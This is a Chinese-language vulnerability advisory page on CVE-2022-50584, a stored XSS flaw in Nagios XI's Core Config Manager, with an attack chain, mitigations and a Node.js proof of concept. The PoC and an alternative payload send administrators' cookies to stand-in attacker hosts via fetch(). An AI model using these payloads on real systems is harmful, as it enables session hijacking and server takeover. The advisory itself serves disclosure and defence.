IPBUF安全漏洞报告
English
CVE-2022-50584 CVSS 5.4 中危

CVE-2022-50584: Nagios XI CCM搜索和删除接口跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2022-50584
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI (Core Config Manager)

相关标签

XSSNagios XICCMStored XSSCross-Site ScriptingCVE-2022-50584Web应用漏洞会话劫持

漏洞概述

CVE-2022-50584是Nagios XI中Core Config Manager(CCM)组件存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Nagios XI 5.8.8之前版本及CCM 3.1.6之前版本。漏洞存在于CCM的搜索界面和删除功能中,由于对这些接口的用户输入验证和输出转义不足,攻击者可以通过注入恶意JavaScript脚本实现持久化的跨站脚本攻击。当具有管理员权限的用户访问受污染的页面时,攻击者注入的恶意代码将自动执行,可能导致会话劫持、敏感信息窃取、恶意操作执行等严重后果。由于该漏洞需要低权限用户身份且需要用户交互才能触发,因此CVSS评分仅为5.4(中危),但在实际攻击场景中仍具有较高的利用价值。攻击者可利用此漏洞逐步提升权限,最终可能获得Nagios XI系统的完全控制权。

技术细节

Nagios XI的Core Config Manager(CCM)是用于管理监控配置的核心组件。漏洞存在于以下两个关键位置:

1. **搜索接口(Search Interface)**:CCM的搜索功能直接接受用户输入而未进行充分的输入验证和HTML转义。当用户在搜索框中输入包含恶意JavaScript代码的字符串时,该代码会被存储在数据库中并在后续页面加载时未经处理直接输出到页面。攻击者可以通过搜索接口提交类似`<script>alert(document.cookie)</script>`的Payload,该代码会被永久存储在系统中。

2. **删除接口(Deletion Flow)**:删除操作在处理配置项时,同样存在输入验证不足的问题。攻击者可以在配置名称或相关字段中注入XSS Payload,当管理员执行删除操作时,恶意代码会被触发执行。

漏洞根源在于应用程序在以下环节缺乏安全控制:
- 输入验证:未对用户输入进行白名单过滤或严格的格式验证
- 输出编码:未对动态输出内容进行HTML实体编码
- 内容安全策略(CSP):缺乏有效的CSP头部保护

利用此漏洞需要攻击者具备Nagios XI的低权限账户(如普通用户),并通过社会工程学手段诱导管理员访问包含恶意代码的页面。一旦管理员触发漏洞,攻击者可获取管理员的会话Cookie,进而劫持管理员会话,执行任意系统命令。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标Nagios XI版本,确认其版本低于5.8.8或CCM版本低于3.1.6。通过公开渠道获取目标系统的技术信息和默认凭据模式。
STEP 2
步骤2:低权限账户获取
攻击者通过暴力破解、凭据填充或社工手段获取Nagios XI的低权限用户账户。该账户需具备访问CCM模块的权限。
STEP 3
步骤3:XSS Payload注入
利用CCM的搜索接口或删除功能,将恶意JavaScript代码注入到配置项中。Payload会被持久化存储在数据库中,等待后续触发。
STEP 4
步骤4:社会工程攻击
攻击者通过钓鱼邮件、内部消息或其他渠道诱导具有管理员权限的用户访问包含恶意代码的CCM页面,触发XSS执行。
STEP 5
步骤5:会话劫持
当管理员访问受污染页面时,恶意JavaScript代码执行,窃取管理员的会话Cookie或Session ID,并发送至攻击者控制的服务器。
STEP 6
步骤6:权限提升与持久化
攻击者利用窃取的会话信息劫持管理员会话,登录后台执行系统命令,上传webshell或植入后门,实现对Nagios XI系统的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50584 PoC - Nagios XI CCM XSS via Search Interface // This PoC demonstrates the stored XSS vulnerability in Nagios XI CCM const axios = require('axios'); const cheerio = require('cheerio'); // Configuration const TARGET_URL = 'http://target-nagios-xi.local'; const ATTACKER_USERNAME = 'low_privilege_user'; const ATTACKER_PASSWORD = 'user_password'; // XSS Payload - Cookie Stealer const XSS_PAYLOAD = `<script> // Steal admin cookies and send to attacker server fetch('http://attacker-server.com/steal?cookie=' + btoa(document.cookie)); </script>`; async function exploit() { console.log('[*] Starting CVE-2022-50584 exploitation...'); // Step 1: Login as low-privilege user const loginPage = await axios.get(`${TARGET_URL}/nagiosxi/login.php`); const nsp = loginPage.data.match(/nsp=\d+/)[0]; const loginResponse = await axios.post(`${TARGET_URL}/nagiosxi/login.php`, `username=${ATTACKER_USERNAME}&password=${ATTACKER_PASSWORD}&nsp=${nsp}`, { maxRedirects: 0, validateStatus: (status) => status === 302 } ); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Logged in successfully'); // Step 2: Inject XSS payload via CCM search interface const ccmSearchUrl = `${TARGET_URL}/nagiosxi/config/contact?search=${encodeURIComponent(XSS_PAYLOAD)}`; await axios.get(ccmSearchUrl, { headers: { Cookie: cookies.join(';') } }); console.log('[+] XSS payload injected via search interface'); // Step 3: Trigger the vulnerability when admin views the page console.log('[*] Waiting for admin to access the page...'); console.log('[+] Payload stored: XSS will execute when admin visits CCM search page'); } exploit().catch(console.error); // Alternative: Direct XSS Payload for manual testing // <img src=x onerror="fetch('http://attacker.com/steal?c='+btoa(document.cookie))">

影响范围

Nagios XI < 5.8.8
Nagios XI CCM < 3.1.6

防御指南

临时缓解措施
立即将Nagios XI升级至5.8.8或更高版本,同时升级CCM组件至3.1.6或更高版本。在补丁发布前,可通过以下措施临时缓解风险:1)禁用非必要用户的CCM访问权限;2)启用WAF规则阻止包含XSS特征的请求;3)限制CCM搜索功能的使用范围;4)监控Nagios XI的访问日志,及时发现异常请求模式;5)提醒管理员不要点击来源不明的链接,尤其是包含可疑参数的URL。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表